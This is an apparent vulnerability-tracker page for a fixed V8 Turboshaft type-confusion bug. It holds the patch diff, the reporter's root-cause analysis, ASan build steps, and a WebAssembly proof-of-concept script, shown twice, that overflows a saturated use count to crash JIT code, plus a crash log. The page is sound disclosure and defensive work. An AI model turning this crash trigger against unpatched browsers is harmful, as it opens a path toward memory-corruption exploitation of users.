High chrome Type Confusion 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Bug ClassType Confusion
Tracker488803413
Fix commit23ec84a323a2 (v8/v8) +79/-0
CISA KEVNot listed
CreditedZhenpeng (Leo) Lin at depthfirst
Disclosed2026-03-18

Changed Functions

FunctionChangeNotes
for
test/mjsunit/wasm/regress-488803413.js
modified
if
test/mjsunit/wasm/regress-488803413.js
modified

Files Changed

  • src/compiler/turboshaft/operations.cc
  • test/mjsunit/wasm/regress-488803413.js
From 23ec84a323a2af8fcbbcdf37be3ea28a1c77f57b Mon Sep 17 00:00:00 2001
From: Darius Mercadier <[email protected]>
Date: Mon, 02 Mar 2026 13:14:22 +0100
Subject: [PATCH] [turboshaft] Take use-count saturation into account in IsOnlyUserOf

Fixed: 488803413
Change-Id: I7cf0911de2338144e2d972a53c5787f186b43623
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7623257
Auto-Submit: Darius Mercadier <[email protected]>
Reviewed-by: Nico Hartmann <[email protected]>
Commit-Queue: Nico Hartmann <[email protected]>
Cr-Commit-Position: refs/heads/main@{#105521}
---

diff --git a/src/compiler/turboshaft/operations.cc b/src/compiler/turboshaft/operations.cc
index 4da92e5..76d8e9c 100644
--- a/src/compiler/turboshaft/operations.cc
+++ b/src/compiler/turboshaft/operations.cc
@@ -2365,6 +2365,7 @@
   DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)),
             1);
   if (value.saturated_use_count.IsOne()) return true;
+  if (value.saturated_use_count.IsSaturated()) return false;
   return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
          value.saturated_use_count.Get();
 }
diff --git a/test/mjsunit/wasm/regress-488803413.js b/test/mjsunit/wasm/regress-488803413.js
new file mode 100644
index 0000000..fe7f7fd
--- /dev/null
+++ b/test/mjsunit/wasm/regress-488803413.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --no-liftoff
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let emit_leb = (v) => {
+    let res = [];
+    do {
+        let byte = v & 0x7f;
+        v >>= 7;
+        if (v !== 0) byte |= 0x80;
+        res.push(byte);
+    } while (v !== 0);
+    return res;
+};
+
+let builder = new WasmModuleBuilder();
+let structType = builder.addStruct([makeField(kWasmI32, true)]);
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
+
+let body = [];
+
+body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
+
+for (let i = 0; i < 100; i++) {
+    body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
+}
+
+body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
+
+body.push(kExprBlock, kWasmRefNull, structType);
+
+for (let i = 0; i < 256; i++) {
+    body.push(kExprBlock, kWasmVoid);
+}
+
+body.push(kExprLocalGet, 0, kExprBrTable);
+body.push(...emit_leb(255));
+for (let i = 0; i < 255; i++) {
+    body.push(...emit_leb(i + 1));
+}
+body.push(...emit_leb(0));
+
+for (let i = 255; i >= 0; i--) {
+    body.push(kExprEnd);
+    if (i === 0) {
+        body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
+    } else {
+        body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
+    }
+}
+
+body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
+
+builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
+  .addLocals(wasmRefNullType(structType), 3)
+  .addBody(body).exportFunc();
+
+builder.addFunction("create", makeSig([], []))
+  .addBody([
+    kExprI32Const, 42,
+    kGCPrefix, kExprStructNew, structType,
+    kExprGlobalSet, 0,
+    kExprI32Const, 43,
+    kGCPrefix, kExprStructNew, structType,
+    kExprGlobalSet, 1
+  ]).exportFunc();
+
+let instance = builder.instantiate({});
+instance.exports.create();
+
+for (let i = 0; i <= 255; i++) {
+  try { instance.exports.trigger(i); } catch(e) {}
+}
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/wasm/regress-488803413.js b/test/mjsunit/wasm/regress-488803413.js
new file mode 100644
index 0000000..fe7f7fd
--- /dev/null
+++ b/test/mjsunit/wasm/regress-488803413.js
@@ -0,0 +1,78 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --no-liftoff
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let emit_leb = (v) => {
+    let res = [];
+    do {
+        let byte = v & 0x7f;
+        v >>= 7;
+        if (v !== 0) byte |= 0x80;
+        res.push(byte);
+    } while (v !== 0);
+    return res;
+};
+
+let builder = new WasmModuleBuilder();
+let structType = builder.addStruct([makeField(kWasmI32, true)]);
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
+builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
+
+let body = [];
+
+body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
+
+for (let i = 0; i < 100; i++) {
+    body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
+}
+
+body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
+
+body.push(kExprBlock, kWasmRefNull, structType);
+
+for (let i = 0; i < 256; i++) {
+    body.push(kExprBlock, kWasmVoid);
+}
+
+body.push(kExprLocalGet, 0, kExprBrTable);
+body.push(...emit_leb(255));
+for (let i = 0; i < 255; i++) {
+    body.push(...emit_leb(i + 1));
+}
+body.push(...emit_leb(0));
+
+for (let i = 255; i >= 0; i--) {
+    body.push(kExprEnd);
+    if (i === 0) {
+        body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
+    } else {
+        body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
+    }
+}
+
+body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
+
+builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
+  .addLocals(wasmRefNullType(structType), 3)
+  .addBody(body).exportFunc();
+
+builder.addFunction("create", makeSig([], []))
+  .addBody([
+    kExprI32Const, 42,
+    kGCPrefix, kExprStructNew, structType,
+    kExprGlobalSet, 0,
+    kExprI32Const, 43,
+    kGCPrefix, kExprStructNew, structType,
+    kExprGlobalSet, 1
+  ]).exportFunc();
+
+let instance = builder.instantiate({});
+instance.exports.create();
+
+for (let i = 0; i <= 255; i++) {
+  try { instance.exports.trigger(i); } catch(e) {}
+}
Loading diff…

Original Bug Report

reported by [email protected]

Turboshaft saturated use-count misclassification causes Wasm compressed/tagged base mismatch SIGSEGV

VULNERABILITY DETAILS

Summary

A Turboshaft use-count saturation bug in Operation::IsOnlyUserOf causes incorrect ownership conclusions once an operation’s use count saturates at 255. In the WebAssembly decompression optimization path, this can keep a Phi value compressed while one of its inputs must remain tagged, producing a representation mismatch and invalid x64 addressing during generated code execution.

Detail

Root cause is in src/compiler/turboshaft/operations.cc:

bool Operation::IsOnlyUserOf(const Operation& value, const Graph& graph) const {
  DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)), 1);
  if (value.saturated_use_count.IsOne()) return true;
  return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
         value.saturated_use_count.Get();
}

value.saturated_use_count is SaturatedUint8 (src/compiler/turboshaft/operations.h) and saturates at 255. When the true use count is greater than 255, Get() still returns 255. If a specific user (here, a Phi) references the value exactly 255 times, IsOnlyUserOf returns true even though other users still exist.

This incorrect result is consumed in src/compiler/turboshaft/decompression-optimization.cc by DecompressionAnalyzer::MarkAddressingBase:

if (!input.Is<LoadOp>() || !base.IsOnlyUserOf(input, graph) ||
    !input.Cast<LoadOp>().loaded_rep.IsCompressibleTagged()) {
  keep_compressed = false;
  break;
}

For the crafted Wasm graph, one LoadOp is used 355 times total (255 in the Phi + 100 elsewhere). Due to saturation, IsOnlyUserOf misreports sole ownership and the Phi is kept Compressed, while the same LoadOp still has other uses requiring tagged handling. That inconsistency propagates into instruction selection and register allocation, producing generated code that treats a full tagged pointer as a compressed-offset operand in a complex addressing form, leading to immediate invalid memory access in JIT code.

VERSION

V8 Commit: 7f3825903cdc2eb341462710172b73dc5ca9215d

ENVIRONMENT SETUP

Release ASan:

gn gen out/release_asan --args='is_asan=true is_debug=false v8_enable_test_features=false symbol_level=1'
ninja -C out/release_asan d8

REPRODUCTION CASE

  1. Save PoC as repro.js:
d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");

let emit_leb = (v) => {
    let res = [];
    do {
        let byte = v & 0x7f;
        v >>= 7;
        if (v !== 0) byte |= 0x80;
        res.push(byte);
    } while (v !== 0);
    return res;
};

let builder = new WasmModuleBuilder();
let structType = builder.addStruct([makeField(kWasmI32, true)]);
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");

let body = [];

body.push(kExprGlobalGet, 0, kExprLocalSet, 1);

for (let i = 0; i < 100; i++) {
    body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
}

body.push(kExprGlobalGet, 1, kExprLocalSet, 2);

body.push(kExprBlock, kWasmRefNull, structType);

for (let i = 0; i < 256; i++) {
    body.push(kExprBlock, kWasmVoid);
}

body.push(kExprLocalGet, 0, kExprBrTable);
body.push(...emit_leb(255));
for (let i = 0; i < 255; i++) {
    body.push(...emit_leb(i + 1));
}
body.push(...emit_leb(0));

for (let i = 255; i >= 0; i--) {
    body.push(kExprEnd);
    if (i === 0) {
        body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
    } else {
        body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
    }
}

body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);

builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
  .addLocals(wasmRefNullType(structType), 3)
  .addBody(body).exportFunc();

builder.addFunction("create", makeSig([], []))
  .addBody([
    kExprI32Const, 42,
    kGCPrefix, kExprStructNew, structType,
    kExprGlobalSet, 0,
    kExprI32Const, 43,
    kGCPrefix, kExprStructNew, structType,
    kExprGlobalSet, 1
  ]).exportFunc();

let instance = builder.instantiate({});
instance.exports.create();

for (let i = 0; i <= 255; i++) {
  try { instance.exports.trigger(i); } catch(e) {}
}

console.log("SUCCESS");
  1. Run:
out/release_asan/d8 --no-liftoff repro.js

CRASH LOG

Received signal 11 <unknown> 000000000000

==== C stack trace ===============================

out/release_asan/d8(__interceptor_backtrace+0x46)[0x61f78f250b86]
out/release_asan/d8(+0x62df500)[0x61f7941ab500]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x73fbf3245330]
[0x7eba3ebd0bb4]
[end of stack trace]

CREDIT INFORMATION

Reporter credit: Zhenpeng (Leo) Lin at depthfirst

View on issue tracker